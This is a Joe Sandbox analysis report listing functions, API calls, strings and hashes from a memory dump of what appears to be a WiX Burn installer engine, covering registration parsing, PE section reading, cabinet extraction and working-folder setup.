API ID: CriticalCurrentSection$EnterLeaveLocalProcessThreadTime
String ID: $e)$%ls[%04X:%04X][%04hu-%02hu-%02huT%02hu:%02hu:%02hu]%hs%03d:%ls %ls%ls$(e)$,e)$0e)
API String ID: 296830338-115078034
Opcode ID: 0475187f4d6d36bcce0ee125409e092f697691e7dbd94f357d9a16ec56dcd1ee
Instruction ID: 88a4770235111039ec24173b6757852c545387cf1df3383b78689007d1500bcc
Opcode Fuzzy Hash: 0475187f4d6d36bcce0ee125409e092f697691e7dbd94f357d9a16ec56dcd1ee
Instruction Fuzzy Hash: E6419572D2121AEBDF219FA4ED49BBEB7B8EB08711F504025F904E6190D7349DA0DBA1

Function 0024A0BB Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 51COMMON

Download Yara Rule

Strings

Failed create working folder., xrefs: 0024A0EE
Failed to copy working folder., xrefs: 0024A116
Failed to calculate working folder to ensure it exists., xrefs: 0024A0D8

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: CurrentDirectoryErrorLastProcessWindows
String ID: Failed create working folder.$Failed to calculate working folder to ensure it exists.$Failed to copy working folder.
API String ID: 3841436932-2072961686
Opcode ID: e989d02ac7c64c90757161fe444bd98016962c9d94af3b85d573c04bb2f0199e
Instruction ID: bd62136bbd16aedfee36bba8b9d442131fb8f9b42c078190ada6ba6e0932ea6a
Opcode Fuzzy Hash: e989d02ac7c64c90757161fe444bd98016962c9d94af3b85d573c04bb2f0199e
Instruction Fuzzy Hash: 6B01D432961528FA8B27AE54DC0AC9EBB79DF55720F104295FC087A211DB719E30AB81

Function 0023F9E3 Relevance: 117.7, APIs: 3, Strings: 64, Instructions: 446
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ProductFamily, xrefs: 0023FE9C
Failed to get @DisplayName., xrefs: 0023FB95
Update, xrefs: 0023FE1E
DisableModify, xrefs: 0023FCF6
UpdateUrl, xrefs: 0023FC5C
DisplayVersion, xrefs: 0023FBA3
Manufacturer, xrefs: 0023FE53
Failed to get @Manufacturer., xrefs: 0023FE66
Failed to get @Publisher., xrefs: 0023FBDF
Failed to get @ParentDisplayName., xrefs: 0023FC98
Failed to set registration paths., xrefs: 0023FF08
Tag, xrefs: 0023FA57
DisplayName, xrefs: 0023FB7E
Failed to parse related bundles, xrefs: 0023FA83
Failed to select registration node., xrefs: 0023FA1C
Contact, xrefs: 0023FCD1
Failed to get @AboutUrl., xrefs: 0023FC4E
Failed to get @Classification., xrefs: 0023FEF5
Failed to get @Comments., xrefs: 0023FCC0
Failed to get @Name., xrefs: 0023FED4
ProviderKey, xrefs: 0023FAD3
Failed to parse software tag., xrefs: 0023FE10
Failed to get @PerMachine., xrefs: 0023FB25
HelpLink, xrefs: 0023FBED
Classification, xrefs: 0023FEE2
registration.cpp, xrefs: 0023FD87
Failed to get @HelpLink., xrefs: 0023FC04
Register, xrefs: 0023FB5D
Failed to get @Version., xrefs: 0023FAA4
Arp, xrefs: 0023FB33
Failed to get @ProviderKey., xrefs: 0023FAE6
button, xrefs: 0023FD15
Failed to select Update node., xrefs: 0023FE3C
Failed to get @DisableRemove., xrefs: 0023FDE0
Failed to get @HelpTelephone., xrefs: 0023FC29
Failed to get @ProductFamily., xrefs: 0023FEB3
ET#, xrefs: 0023F9E3
HelpTelephone, xrefs: 0023FC12
Invalid modify disabled type: %ls, xrefs: 0023FD94
Failed to get @Register., xrefs: 0023FB70
Failed to get @Department., xrefs: 0023FE8E
msasn1.dll, xrefs: 0023FA35
Failed to parse @Version: %ls, xrefs: 0023FAC5
yes, xrefs: 0023FD36
Registration, xrefs: 0023F9FD
Failed to get @DisableModify., xrefs: 0023FDB8
Department, xrefs: 0023FE77
clbcatq.dll, xrefs: 0023FA56
ParentDisplayName, xrefs: 0023FC81
Failed to get @UpdateUrl., xrefs: 0023FC73
Failed to select ARP node., xrefs: 0023FB4F
Comments, xrefs: 0023FCA9
Version, xrefs: 0023FA91
Failed to get @ExecutableName., xrefs: 0023FB07
Failed to get @Contact., xrefs: 0023FCE8
Failed to get @Tag., xrefs: 0023FA6A
Failed to get @DisplayVersion., xrefs: 0023FBBA
Name, xrefs: 0023FEC1
PerMachine, xrefs: 0023FB12
AboutUrl, xrefs: 0023FC37
Failed to get @Id., xrefs: 0023FA49
ExecutableName, xrefs: 0023FAF4
DisableRemove, xrefs: 0023FDC9
Publisher, xrefs: 0023FBC8

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: StringVariant$AllocClearFreeInit
String ID: AboutUrl$Arp$Classification$Comments$Contact$Department$DisableModify$DisableRemove$DisplayName$DisplayVersion$ET#$ExecutableName$Failed to get @AboutUrl.$Failed to get @Classification.$Failed to get @Comments.$Failed to get @Contact.$Failed to get @Department.$Failed to get @DisableModify.$Failed to get @DisableRemove.$Failed to get @DisplayName.$Failed to get @DisplayVersion.$Failed to get @ExecutableName.$Failed to get @HelpLink.$Failed to get @HelpTelephone.$Failed to get @Id.$Failed to get @Manufacturer.$Failed to get @Name.$Failed to get @ParentDisplayName.$Failed to get @PerMachine.$Failed to get @ProductFamily.$Failed to get @ProviderKey.$Failed to get @Publisher.$Failed to get @Register.$Failed to get @Tag.$Failed to get @UpdateUrl.$Failed to get @Version.$Failed to parse @Version: %ls$Failed to parse related bundles$Failed to parse software tag.$Failed to select ARP node.$Failed to select Update node.$Failed to select registration node.$Failed to set registration paths.$HelpLink$HelpTelephone$Invalid modify disabled type: %ls$Manufacturer$Name$ParentDisplayName$PerMachine$ProductFamily$ProviderKey$Publisher$Register$Registration$Tag$Update$UpdateUrl$Version$button$clbcatq.dll$msasn1.dll$registration.cpp$yes
API String ID: 760788290-2101389847
Opcode ID: 4834f8b5dade70678333044b8b2568441ce8be0feba5b91627d92b5fc01e9280
Instruction ID: 8dd47335484fa2f2d2947cfb7f6a37ca53ee54bebab6c9f29abae8518f729b1f
Opcode Fuzzy Hash: 4834f8b5dade70678333044b8b2568441ce8be0feba5b91627d92b5fc01e9280
Instruction Fuzzy Hash: 03E157B6E75236BACB51AAA0DE42EADB6A86F02710F114232FD14F35D1C7B19D3197C0

Function 0023B48B Relevance: 93.3, APIs: 24, Strings: 29, Instructions: 578
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,?,00000000,76EEC3F0,00000000), ref: 0023B502
SetFilePointerEx.KERNELBASE(000000FF,00000000,00000000,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 0023B550
GetLastError.KERNEL32(?,?,?,00000000,76EEC3F0,00000000), ref: 0023B556
ReadFile.KERNELBASE(00000000,aD#H,00000040,?,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 0023B59E
GetLastError.KERNEL32(?,?,?,00000000,76EEC3F0,00000000), ref: 0023B5A4
SetFilePointerEx.KERNELBASE(00000000,00000000,?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 0023B601
GetLastError.KERNEL32(?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 0023B607
ReadFile.KERNELBASE(00000000,?,00000018,00000040,00000000,?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 0023B650
GetLastError.KERNEL32(?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 0023B656
SetFilePointerEx.KERNELBASE(00000000,-00000098,00000000,00000000,00000000,?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 0023B6C7
GetLastError.KERNEL32(?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 0023B6CD
ReadFile.KERNEL32(00000000,?,00000004,00000018,00000000,?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 0023B716
GetLastError.KERNEL32(?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 0023B71C
ReadFile.KERNEL32(00000000,?,00000004,00000018,00000000,?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 0023B765
GetLastError.KERNEL32(?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 0023B76B
SetFilePointerEx.KERNELBASE(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 0023B7B7
GetLastError.KERNEL32(?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 0023B7BD

Part of subcall function 0023394F: GetProcessHeap.KERNEL32(?,?,?,00232274,?,00000001,75C0B390,8000FFFF,?,?,00270267,?,?,00000000,00000000,8000FFFF), ref: 00233960
Part of subcall function 0023394F: RtlAllocateHeap.NTDLL(00000000,?,00232274,?,00000001,75C0B390,8000FFFF,?,?,00270267,?,?,00000000,00000000,8000FFFF), ref: 00233967

ReadFile.KERNEL32(00000000,?,00000028,00000018,00000000,?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 0023B810
ReadFile.KERNEL32(00000000,?,00000028,00000028,00000000,?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 0023B872
SetFilePointerEx.KERNELBASE(00000000,?,00000000,00000000,00000000,00000034,00000001,?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 0023B8FC
GetLastError.KERNEL32(?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 0023B906

Strings

section.cpp, xrefs: 0023B523, 0023B577, 0023B5C5, 0023B628, 0023B677, 0023B6EE, 0023B73D, 0023B78C, 0023B7E1, 0023B898, 0023B8D8, 0023B92A, 0023B98F, 0023B9B9, 0023B9E0, 0023BAC7, 0023BB07, 0023BB26, 0023BB63, 0023BBA1, 0023BBC4, 0023BBDF
Failed to read section info, data to short: %u, xrefs: 0023B8AA
Failed to read DOS header., xrefs: 0023B5CF
4, xrefs: 0023B884
Failed to read section info, unsupported version: %08x, xrefs: 0023B9F5
Failed to get total size of bundle., xrefs: 0023BA23
Failed to find valid DOS image header in buffer., xrefs: 0023BBEB
.wix, xrefs: 0023B830
Failed to read complete image section header, index: %u, xrefs: 0023BB75
PE Header from file didn't match PE Header in memory., xrefs: 0023BB11
Failed to seek to section info., xrefs: 0023B6F8, 0023B934
(, xrefs: 0023B81D
Failed to open handle to engine process path., xrefs: 0023B52D
Failed to read image section header, index: %u, xrefs: 0023BBAC
Failed to find valid NT image header in buffer., xrefs: 0023BBD0
Failed to read complete section info., xrefs: 0023B9C5
PE, xrefs: 0023B698
Failed to seek to NT header., xrefs: 0023B632
Failed to read section info., xrefs: 0023B999
Failed to find Burn section., xrefs: 0023BB32
Failed to allocate memory for container sizes., xrefs: 0023BAD3
burn, xrefs: 0023B838
Failed to allocate buffer for section info., xrefs: 0023B8E4
Failed to seek past optional headers., xrefs: 0023B7EB
Failed to read signature offset., xrefs: 0023B747
aD#H, xrefs: 0023B4A2, 0023B598, 0023B5EB, 0023B4AC, 0023B59B
Failed to seek to start of file., xrefs: 0023B581
Failed to read NT header., xrefs: 0023B681
Failed to read signature size., xrefs: 0023B796

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: File$ErrorLast$Read$Pointer$Heap$AllocateProcess
String ID: ($.wix$4$Failed to allocate buffer for section info.$Failed to allocate memory for container sizes.$Failed to find Burn section.$Failed to find valid DOS image header in buffer.$Failed to find valid NT image header in buffer.$Failed to get total size of bundle.$Failed to open handle to engine process path.$Failed to read DOS header.$Failed to read NT header.$Failed to read complete image section header, index: %u$Failed to read complete section info.$Failed to read image section header, index: %u$Failed to read section info, data to short: %u$Failed to read section info, unsupported version: %08x$Failed to read section info.$Failed to read signature offset.$Failed to read signature size.$Failed to seek past optional headers.$Failed to seek to NT header.$Failed to seek to section info.$Failed to seek to start of file.$PE$PE Header from file didn't match PE Header in memory.$aD#H$burn$section.cpp
API String ID: 3411815225-4239444621
Opcode ID: 56d23297e756ad4b2c5afa75c24b40ebc4411d582035abdbdfdced52899856bc
Instruction ID: 48e16ec01b1cdcbccc4d86db50688f6bffd3fee1459c4239de1c451b1ab90a3c
Opcode Fuzzy Hash: 56d23297e756ad4b2c5afa75c24b40ebc4411d582035abdbdfdced52899856bc
Instruction Fuzzy Hash: D012C8B6A70235ABDB329E548C4AFAA7664AF45720F114195FE08FB281D770DD60CFE0

Function 00250D16 Relevance: 54.6, APIs: 20, Strings: 11, Instructions: 306
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEvent.KERNEL32(?,?,?,?,?,002508BC,?,?), ref: 00250D25
GetLastError.KERNEL32(?,?,?,?,002508BC,?,?), ref: 00250D2F
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,002508BC,?,?), ref: 00250D74
GetLastError.KERNEL32(?,?,?,?,002508BC,?,?), ref: 00250D7F
ResetEvent.KERNEL32(?,?,?,?,?,002508BC,?,?), ref: 00250DB7
GetLastError.KERNEL32(?,?,?,?,002508BC,?,?), ref: 00250DC1

Strings

Failed to copy stream name: %ls, xrefs: 00250E50
Failed to set operation complete event., xrefs: 00250D5D, 00250E9E
Failed to set file pointer to beginning of file., xrefs: 002510D8
Failed to reset begin operation event., xrefs: 00250DEF, 00250F2B
Failed to set file pointer to end of file., xrefs: 0025104F
Failed to allocate buffer for stream., xrefs: 00250F93
Invalid operation for this state., xrefs: 00250E1D
Failed to create file: %ls, xrefs: 00251001
Failed to wait for begin operation event., xrefs: 00250DAD, 00250EE6
Failed to set end of file., xrefs: 00251094
cabextract.cpp, xrefs: 00250D53, 00250DA3, 00250DE5, 00250E11, 00250E94, 00250EDC, 00250F21, 00250F89, 00250FF4, 00251045, 0025108A, 002510CE

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLast$Event$ObjectResetSingleWait
String ID: Failed to allocate buffer for stream.$Failed to copy stream name: %ls$Failed to create file: %ls$Failed to reset begin operation event.$Failed to set end of file.$Failed to set file pointer to beginning of file.$Failed to set file pointer to end of file.$Failed to set operation complete event.$Failed to wait for begin operation event.$Invalid operation for this state.$cabextract.cpp
API String ID: 1865021742-2104912459
Opcode ID: 189b3f5703d31e669b030b6518c924155414b997a5504f70d6114083e0feada2
Instruction ID: 478cf106cd42a342d2f63b0f7d9aab31928ca03916e9a5d29ec9ed17a7911b7d
Opcode Fuzzy Hash: 189b3f5703d31e669b030b6518c924155414b997a5504f70d6114083e0feada2
Instruction Fuzzy Hash: AE915C379B2633B7E3312AA55D4EF2A7950BF01B22F124212BE14BA5C0DB71DC7486D9

Function 00235195 Relevance: 38.8, APIs: 5, Strings: 17, Instructions: 315
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,?,?), ref: 00235217

Part of subcall function 002704F8: InitializeCriticalSection.KERNEL32(0029B5FC,?,00235223,00000000,?,?,?,?,?,?), ref: 0027050F

Part of subcall function 0023120A: CommandLineToArgvW.SHELL32(00000000,00000000,00000000,00000000,00000000,00000000,ignored ,00000000,?,00000000,?,?,?,0023523F,00000000,?), ref: 00231248
Part of subcall function 0023120A: GetLastError.KERNEL32(?,?,?,0023523F,00000000,?,?,00000003,00000000,00000000,?,?,?,?,?,?), ref: 00231252

CoInitializeEx.COMBASE(00000000,00000000,?,?,00000000,?,?,00000003,00000000,00000000,?,?,?,?,?,?), ref: 00235285

Part of subcall function 00270E07: GetProcAddress.KERNEL32(RegDeleteKeyExW,AdvApi32.dll), ref: 00270E28

GetVersionExW.KERNEL32(?,?,?,?,?,?,?), ref: 00235317
GetLastError.KERNEL32(?,?,?,?,?,?), ref: 00235321
CoUninitialize.OLE32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0023558E

Strings

Failed to initialize Regutil., xrefs: 002352C9
Failed to run per-user mode., xrefs: 00235494
Failed to initialize Wiutil., xrefs: 002352E1
Failed to initialize engine state., xrefs: 0023526C
Invalid run mode., xrefs: 002353F9
Failed to run untrusted mode., xrefs: 002354B6
Failed to initialize Cryputil., xrefs: 002352A6
3.11.1.2318, xrefs: 00235384
Failed to run embedded mode., xrefs: 00235444
Failed to parse command line., xrefs: 00235245
Failed to initialize XML util., xrefs: 002352F9
Failed to initialize core., xrefs: 002353C3
engine.cpp, xrefs: 00235345
Failed to run per-machine mode., xrefs: 0023546C
Failed to initialize COM., xrefs: 00235291
Failed to run RunOnce mode., xrefs: 0023541C
Failed to get OS info., xrefs: 0023534F

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: ErrorInitializeLast$AddressArgvCommandCriticalHandleLineModuleProcSectionUninitializeVersion
String ID: 3.11.1.2318$Failed to get OS info.$Failed to initialize COM.$Failed to initialize Cryputil.$Failed to initialize Regutil.$Failed to initialize Wiutil.$Failed to initialize XML util.$Failed to initialize core.$Failed to initialize engine state.$Failed to parse command line.$Failed to run RunOnce mode.$Failed to run embedded mode.$Failed to run per-machine mode.$Failed to run per-user mode.$Failed to run untrusted mode.$Invalid run mode.$engine.cpp
API String ID: 3262001429-510904028
Opcode ID: ed1d6751ce1a1cbcba8078a93a9f7e80e9ff9374aa15a553e24a2ad974ed04d4
Instruction ID: fa3609d07809b5180c4f51aec457207389ad5737a9d6419169fc03cd4ca0de7b
Opcode Fuzzy Hash: ed1d6751ce1a1cbcba8078a93a9f7e80e9ff9374aa15a553e24a2ad974ed04d4
Instruction Fuzzy Hash: 4BB182B2D71A399BDB32AE648C46BEE76B4AF04711F4041D5F90CA6241DB709EB0CE91

Function 0024752A Relevance: 37.0, APIs: 1, Strings: 20, Instructions: 291
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

WixBundleOriginalSource, xrefs: 00247759
WixBundleSourceProcessFolder, xrefs: 00247734
Failed to initialize internal cache functionality., xrefs: 0024779F
Failed to overwrite the %ls built-in variable., xrefs: 002476BB
Failed to set source process path variable., xrefs: 00247709
WixBundleUILevel, xrefs: 002476D6, 002476E7
Failed to initialize variables., xrefs: 00247571
Failed to get unique temporary folder for bootstrapper application., xrefs: 002477CE
Failed to load catalog files., xrefs: 0024780F
Failed to set source process folder variable., xrefs: 00247745
Failed to extract bootstrapper application payloads., xrefs: 002477EF
Failed to get manifest stream from container., xrefs: 002475CC
Failed to parse command line., xrefs: 00247667
Failed to get source process folder from path., xrefs: 00247725
WixBundleElevated, xrefs: 002476A5, 002476B6
Failed to set original source variable., xrefs: 0024776A
WixBundleSourceProcessPath, xrefs: 002476F8
Failed to open manifest stream., xrefs: 002475AB
Failed to load manifest., xrefs: 002475E8
Failed to open attached UX container., xrefs: 0024758E

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: CriticalInitializeSection
String ID: Failed to extract bootstrapper application payloads.$Failed to get manifest stream from container.$Failed to get source process folder from path.$Failed to get unique temporary folder for bootstrapper application.$Failed to initialize internal cache functionality.$Failed to initialize variables.$Failed to load catalog files.$Failed to load manifest.$Failed to open attached UX container.$Failed to open manifest stream.$Failed to overwrite the %ls built-in variable.$Failed to parse command line.$Failed to set original source variable.$Failed to set source process folder variable.$Failed to set source process path variable.$WixBundleElevated$WixBundleOriginalSource$WixBundleSourceProcessFolder$WixBundleSourceProcessPath$WixBundleUILevel
API String ID: 32694325-1564579409
Opcode ID: c2d74294620243ecf7be78df6f3da457d30746394f4b033e31666fcfdc9c1e42
Instruction ID: 5a0232a4825a22b454452143f37fc358aa2df26f66eb7d898639f04c8068d859
Opcode Fuzzy Hash: c2d74294620243ecf7be78df6f3da457d30746394f4b033e31666fcfdc9c1e42
Instruction Fuzzy Hash: A8A1C7B2E64616BBDB16AAA0CC85EEEB76CBB00700F504126F925F7141D770E934DBE0

Function 0023762C Relevance: 34.9, APIs: 1, Strings: 22, Instructions: 420
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSection.KERNEL32(0024756B,002353BD,00000000,00235445), ref: 0023764C

Strings

WixBundleSourceProcessFolder, xrefs: 00237E9E
WixBundleVersion, xrefs: 00237ECE
Date, xrefs: 00237770
WixBundleAction, xrefs: 00237D76
WixBundleUILevel, xrefs: 00237EBE
LogonUser, xrefs: 00237882
#, xrefs: 002376CB
InstallerVersion, xrefs: 00237833
WixBundleForcedRestartPackage, xrefs: 00237E14
0, xrefs: 00237663
', xrefs: 002378EB
WixBundleExecutePackageAction, xrefs: 00237DF8
WixBundleInstalled, xrefs: 00237E2A
WixBundleExecutePackageCacheFolder, xrefs: 00237D98
InstallerName, xrefs: 00237812
Failed to add built-in variable: %ls., xrefs: 00237F19
WixBundleProviderKey, xrefs: 00237E7E
WixBundleElevated, xrefs: 00237E46
WixBundleTag, xrefs: 00237EAE
WixBundleSourceProcessPath, xrefs: 00237E8E
WixBundleActiveParent, xrefs: 00237E62
$, xrefs: 00237D49

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: CriticalInitializeSection
String ID: #$$$'$0$Date$Failed to add built-in variable: %ls.$InstallerName$InstallerVersion$LogonUser$WixBundleAction$WixBundleActiveParent$WixBundleElevated$WixBundleExecutePackageAction$WixBundleExecutePackageCacheFolder$WixBundleForcedRestartPackage$WixBundleInstalled$WixBundleProviderKey$WixBundleSourceProcessFolder$WixBundleSourceProcessPath$WixBundleTag$WixBundleUILevel$WixBundleVersion
API String ID: 32694325-3635313340
Opcode ID: 352b39e8de67894ee7da00d6a10c66c4b98ed2beeadd8b765c37cbe99e600813
Instruction ID: 91b9e40970a9309c828bf780d21f86822494ea77d4ed031f5974b273963d23b4
Opcode Fuzzy Hash: 352b39e8de67894ee7da00d6a10c66c4b98ed2beeadd8b765c37cbe99e600813
Instruction Fuzzy Hash: 34324DF0C216699BDB65CF6AC9887DDFAB4BB49304F6085EED20CB6211C7B00B948F45

Function 002482BA Relevance: 31.7, APIs: 7, Strings: 11, Instructions: 153
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00235489), ref: 00248310

Part of subcall function 00270879: OpenProcessToken.ADVAPI32(?,00000008,?), ref: 00270897
Part of subcall function 00270879: GetLastError.KERNEL32(?,?,?,?,?,?,?,0024769D,00000000), ref: 002708A1
Part of subcall function 00270879: CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,0024769D,00000000), ref: 0027092B

GetWindowsDirectoryW.KERNEL32(?,00000104,00000000), ref: 00248336
GetLastError.KERNEL32 ref: 00248340
GetTempPathW.KERNEL32(00000104,?,00000000), ref: 002483BD
GetLastError.KERNEL32 ref: 002483C7
UuidCreate.RPCRT4(?), ref: 00248406

Strings

Failed to create working folder guid., xrefs: 00248413
%ls%ls\, xrefs: 00248458
Failed to ensure windows path for working folder ended in backslash., xrefs: 0024838B
Temp\, xrefs: 00248395
Failed to concat Temp directory on windows path for working folder., xrefs: 002483AD
Failed to convert working folder guid into string., xrefs: 00248446
Failed to copy working folder path., xrefs: 0024848B
Failed to get windows path for working folder., xrefs: 0024836E
Failed to get temp path for working folder., xrefs: 002483F5
cache.cpp, xrefs: 00248364, 002483EB, 0024843C
Failed to append bundle id on to temp path for working folder., xrefs: 00248470

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLast$Process$CloseCreateCurrentDirectoryHandleOpenPathTempTokenUuidWindows
String ID: %ls%ls\$Failed to append bundle id on to temp path for working folder.$Failed to concat Temp directory on windows path for working folder.$Failed to convert working folder guid into string.$Failed to copy working folder path.$Failed to create working folder guid.$Failed to ensure windows path for working folder ended in backslash.$Failed to get temp path for working folder.$Failed to get windows path for working folder.$Temp\$cache.cpp
API String ID: 266130487-819636856
Opcode ID: c6adb86ec6c75194bd7ce0f9398a4b3b3f99e2936a28f07722cbee78987ad420
Instruction ID: de994fcd4f7b73da7e0271418455025e25614867b7ab8199228b38a876c21601
Opcode Fuzzy Hash: c6adb86ec6c75194bd7ce0f9398a4b3b3f99e2936a28f07722cbee78987ad420
Instruction Fuzzy Hash: A941FB76E71726B7D731AAA09C4DF9E776C6B01B10F0041A1BE08F7180EA74DD644BD5

Function 002510FB Relevance: 30.0, APIs: 8, Strings: 9, Instructions: 217
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.OLE32(00000000,00000000), ref: 0025111D
CoUninitialize.COMBASE ref: 00251398

Strings

Failed to set operation complete event., xrefs: 002512C4
Failed to initialize cabinet.dll., xrefs: 0025119F
Failed to reset begin operation event., xrefs: 00251350
Failed to extract all files from container, erf: %d:%X:%d, xrefs: 00251279
Invalid operation for this state., xrefs: 0025137C
Failed to wait for begin operation event., xrefs: 00251311
cabextract.cpp, xrefs: 00251193, 002512BA, 00251307, 00251346, 00251372
Failed to initialize COM., xrefs: 00251129
<the>.cab, xrefs: 002511BD

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
